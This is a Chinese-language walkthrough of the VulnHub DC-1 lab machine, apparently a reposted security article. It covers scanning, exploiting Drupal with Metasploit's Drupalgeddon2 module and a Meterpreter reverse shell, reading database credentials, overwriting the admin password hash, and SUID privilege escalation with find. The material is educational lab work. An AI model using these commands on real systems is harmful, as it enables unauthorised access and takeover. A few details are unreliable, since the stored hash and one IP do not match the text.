渗透入门之DC-1主机渗透详细教学

admin 2023年8月29日19:25:52评论35 views字数 5975阅读19分55秒阅读模式

介绍

DC系列靶场是一组专门为渗透测试而设计的易受攻击的实验室,共有九个靶场。它的目的是让初学者获得渗透测试领域的经验,但是它的难度取决于你的技能和知识,以及你的学习能力。每个靶场都有一些隐藏的标志,包含了一些提示或线索,帮助你获取更高级别的权限,直到拿到root身份。

DC系列靶场可以在Vulnhub平台上下载,也可以在百度网盘上下载。每个靶场都是一个虚拟机文件,可以用VMware或VirtualBox等虚拟机软件运行。每个靶场都有一个固定的IP地址,可以通过网络连接进行攻击。

前提

本教学讲义假设你已经具备以下条件:

  • 你已经下载并安装了VMware或VirtualBox等虚拟机软件,并配置了合适的网络设置。

  • 你已经下载并导入了DC系列靶场的虚拟机文件,并启动了它们。

  • 你已经准备了一个用于攻击的虚拟机或物理机,安装了Kali Linux或其他类似的操作系统,并安装了必要的渗透测试工具。

  • 你已经掌握了基本的Linux命令和网络知识。

开始

DC-1的靶机下载地址为:https://www.vulnhub.com/entry/dc-1,292/

第一步:环境配置。

打开虚拟机后,将其网络适配器调整为NAT模式,确保kali虚拟机与其模式一致。

第二步:信息收集

  1. kali IP已知。

  2. DC-1 IP未知。

进入kali使用用nmap,或者arp-scan。

`nmap:nmap -sP 192.168.106.0/24 `

arp-scan: arp-scan -l

获得 DC-1 IP:192.168.106.159

拿到IP后我们需要对目标系统进行信息收集,以了解其运行的服务,开放的端口,可能存在的漏洞等。我们可以使用nmap工具进行扫描,命令如下:

nmap -sV -sC -A -oN dc1_scan.txt 192.168.106.159

这个命令的含义是:

  • -sV:探测目标系统的服务版本。

  • -sC:使用默认的nmap脚本进行扫描。

  • -A:这个选项表示执行“全面扫描”。它包含了多个子选项,包括版本探测、脚本扫描、操作系统探测等。通过使用这个选项,你可以获取尽可能多的关于目标主机的信息。

  • -oN:将扫描结果输出到一个文本文件中。

  • 192.168.106.159:目标系统的IP地址。

扫描结果如下:

从扫描结果中,我们可以得到以下信息:

  • 目标主机信息:

    • IP 地址:192.168.106.159

    • 主机状态:在线(Latency 0.00046 秒)

  • 开放的端口和服务信息:

    • 22/tcp: 开放,运行 SSH 服务,版本为 OpenSSH 6.0p1 Debian 4+deb7u7(SSH 协议 2.0)

    • 80/tcp: 开放,运行 Apache httpd 2.2.22,网站标题显示为 "Welcome to Drupal Site | Drupal Site"

    • 111/tcp: 开放,运行 RPCBind 服务

  • SSH 服务信息:

    • SSH 主机密钥信息(DSA、RSA、ECDSA)

    • SSH 协议版本:2.0

  • Web 服务信息(端口 80):

    • 使用的 Web 服务器:Apache/2.2.22 (Debian)

    • 通过 robots.txt 文件禁止了一些路径

    • 使用的 Web 框架:Drupal 7

  • RPCBind 服务信息(端口 111):

    • 支持的 RPC 版本和服务信息

  • 网络设备信息:

    • MAC 地址:00:0C:29:9D:41:05(VMware)

    • 设备类型:通用用途

    • 运行的操作系统:Linux 3.X

    • OS CPE:cpe:/o:linux:linux_kernel:3

    • 操作系统细节:Linux 3.2 - 3.16

  • 路由信息:

    • 距离网络的跳数:1 hop

  • 服务信息:

    • 运行的操作系统:Linux

    • CPE 信息:cpe:/o:linux:linux_kernel

可以看到DC-1开启了ssh和http和不知道干什么的111端口,我们可以尝试去访问下DC-1的IP:192.168.106.159

看到网站,我们可以试试挖下目录文件。

指纹识别(whatweb)

whatweb -v 192.168.106.159

通过查看返回信息 也可以找到CMS版本以及名字

接下来,我们需要对目标系统的网站进行探测,以了解其结构,内容,功能等。我们可以使用nikto和dirb工具进行扫描,命令如下:

nikto -h 192.168.106.159 -o nikto_dc1.txt

dirb http://192.168.106.159 /usr/share/wordlists/dirb/common.txt -o dirb_dc1.txt
  • nikto:一个用于检测网站漏洞和配置错误的工具。

  • -h:指定目标主机的IP地址或域名。

  • -o:将扫描结果输出到一个文本文件中。

  • dirb:一个用于暴力破解网站目录和文件的工具。

  • http://192.168.56.101:目标网站的URL。

  • /usr/share/wordlists/dirb/common.txt:指定用于暴力破解的字典文件。

  • -o:将扫描结果输出到一个文本文件中。


从扫描结果中,我们可以得到以下信息:

  • 目标网站使用的是Apache/2.2.22 (Debian)服务器,存在一些配置错误和安全风险。

  • 目标网站有一些可能有趣的目录,如/admin/, /backup/, /test/, /tmp/等,其中/icons/目录存在目录遍历漏洞。

  • 目标网站的根目录下只有一个index.html文件

  • 这个文件没有给出任何有用的信息,只是简单地介绍了这个靶场的目的和难度。

2.查找漏洞

打开漏洞利用数据库:

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers (exploit-db.com)

搜索Drupal 7

3.漏洞利用

Drupal上面已经给出meatsploit验证过的漏洞,所以我们去msf进行尝试。

1.进入msf

msfconsole

2.查找相应模块

search Drupa

3.使用相应模块, exploit/unix/webapp/drupal_drupalgeddon2

use exploit/unix/webapp/drupal_drupalgeddon2

可以看到已经默认给我们选择好了对应的payload,看到了熟悉的php/meterpreter/reverse_tcp

5.配置的参数

那我们直接查看参数即可

show options

yes的地方是必填的,默认基本上帮我们填好了。我们只需要填靶机IP即可也就是填RHOSTS

6.配置

set rhosts 192.168.106.159

7.启动

run

可以看到session的建立

9.查看DC-1基本信息

sysinfo

10.获得shell

shell

为了符合我们的使用习惯,所以利用python在目标系统上生成一个交互式的 Bash Shell

python -c "import pty;pty.spawn('/bin/bash')"

这条命令是一个用于在交互式 Shell 中执行命令的 Python 命令。它使用 Python 的 pty模块来实现一个伪终端(pseudo-terminal),然后在该伪终端上生成一个交互式的 Bash Shell。

  • python -c: 这部分表示运行一个 Python 脚本,-c参数后面可以跟着一行 Python 代码。

  • "import pty;pty.spawn('/bin/bash')": 这是要运行的 Python 代码片段,它执行了以下操作:

    • import pty: 导入 Python 的 pty模块,该模块用于控制伪终端。

    • pty.spawn('/bin/bash'): 这行代码使用 pty.spawn()函数来启动一个 /bin/bash进程,也就是 Bash Shell。这将创建一个交互式的 Shell 会话,使你能够与目标系统进行命令交互。

这个命令的目的是在目标系统上生成一个交互式的 Bash Shell,让你能够直接在目标系统上执行命令,就像你在本地系统上一样。

3.flag1

ls直接查看当前文件,我们就可以看到flag1.txt

再使用cat查看

ls
cat flag1.txt

给了个提示:Every good CMS needs a config file - and so do you.

每个好的CMS都需要一个配置文件——你也是。

4.flag2

每个好的CMS都需要一个配置文件——你也是。

那我们找下他的配置文件

find . -name "con*"

很多,但是感觉都不对劲,此时我们应该直接下载此cms的源码来进行查看,但是我选择直接百度一下

cat ./sites/default/settings.php

发现flag2

* Brute force and dictionary attacks aren't the * only ways to gain access (and you WILL need access). * What can you do with these credentials?

暴力破解和字典攻击并不是获取访问权限的唯一途径(你肯定需要访问权限)。使用这些凭据,你可以做什么?

这段文字暗示,不仅仅通过暴力破解和字典攻击可以获取访问权限。它提到了一种可能性,即获取了访问凭据(可能是用户名和密码)之后,你可以利用这些凭据进行其他的操作。

5.flag3

前面给了我们数据库账号密码以及数据库名字

'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',

我们尝试登录一下

mysql -udbuser -pR0ck3t

查看库并进入当前数据库中

show databases;
use drupaldb

寻找用户信息

show tables;

查看表中内容

select * from usersG;

/G 的作用是将查到的结构旋转90度变成纵向:

可以看到admin的密码给加密了$S$D应该是某种hash,也不好直接解密。可能文件中有加密的文件,我们去找找。

find . -name "*password"

找到文件后(./scripts/password-hash.sh)大概查看下,简单运行下看看有什么东西

./scripts/password-hash.sh

意思应该是直接再后面加密码就会返回加密后的结果

我们简单测试下,设置密码123456

./scripts/password-hash.sh 123456

果然返回了hash后的值。

原来admin的密码hash后为:$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR,那么我们就把原来密码替换了

刚刚123456 hash后为:$S$Dt5Bb1dmxqfKY9jpZuhVDhwOiP3xGLpDETsesbsTIZjEFRADhfYl

重新回到数据库drupaldb内。

mysql -udbuser -pR0ck3t

show databases;

use drupaldb

更新密码

update users set pass='$S$DFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC'where name="admin";

更新完成后,我们访问网站192.168.106.159进行登录

找一下看看有什么东西

得到flag3;

并且获得提示:Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

6.flag4

根据提示passwd我们可以想到/etc/passwd

cat /etc/passwd

发现里面有flag4,给了个路径/home/flag4

切换到flag4用户不知道密码,那就只能去到其目录下里面看看有什么文件

cd /home/flag4
ls
cat flag4.txt

发现提示目录不存在,草率了啊,没有加后缀,直接cat查看flag4.txt

找到flag4

并且给出提示:

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy. Or maybe it is?

7.flag5

根据提示我们进入/root,ls查看目录下的文件

cd /root

发现没有权限需要提权,直接SUID提权,查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null
  • find: 这是 Linux 系统中用于查找文件和目录的命令。

  • /: 这表示搜索的起始路径是根目录。

  • -perm -u=s: 这个部分是 find命令的选项之一。-perm选项用于指定要搜索的文件权限。-u=s表示要查找具有 SUID 权限的文件。SUID 权限位是文件所有者权限中的一个,它允许执行文件以文件所有者的权限运行。

  • -type f: 这部分限定了搜索结果只包括文件(而不包括目录)。

  • 2>/dev/null: 这部分将标准错误输出重定向到 /dev/null,从而不会显示权限错误或访问拒绝的信息。

综合起来,这个命令的目的是在整个文件系统中搜索具有 SUID 权限的可执行文件,并将结果显示在终端上。

看到find就在其中,那就比较简单了。直接使用find提权

find / -exec "/bin/bash" -p ;
  • find: 这是一个用于搜索文件和目录的 Linux 命令。

  • /: 这表示搜索的起始路径是根目录,也就是整个文件系统。

  • -exec /bin/bash ;: 这个部分使用 -exec选项来执行命令。/bin/bash是一个用于执行命令的 Shell。;表示命令结束,这是一个必需的语法。

这个命令的效果是,它会遍历整个文件系统,对每个文件和目录都执行 /bin/bash,从而启动一个 Shell。这意味着你会在整个文件系统中打开许多 Shell,可能以系统的特权(root 权限)运行,这将对系统的安全和稳定性造成严重威胁。

可以看到有一个thefinalflag.txt 最后的flag,直接cat查看即可

cat thefinalflag.txt

获得最终的flag

8.总结

1.nmap,arp-scan使用

2.whatweb 指纹识别

3.msf使用对应的模块

4.mysql的修改数据

5.SUID提权

至此,我们已经完成了DC-1靶场的所有步骤,学习了一些基本的渗透测试工具和技术,以及如何识别和利用常见的漏洞和弱点并获取了所有标志文件,并总结我们的收获和经验。

本公众号云息信安所提供的信息以及工具仅供安全测试人员用于授权测试,禁止用于未授权测试,请勿非法使用!!!造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号云息信安及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月29日19:25:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透入门之DC-1主机渗透详细教学https://cn-sec.com/archives/1989575.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息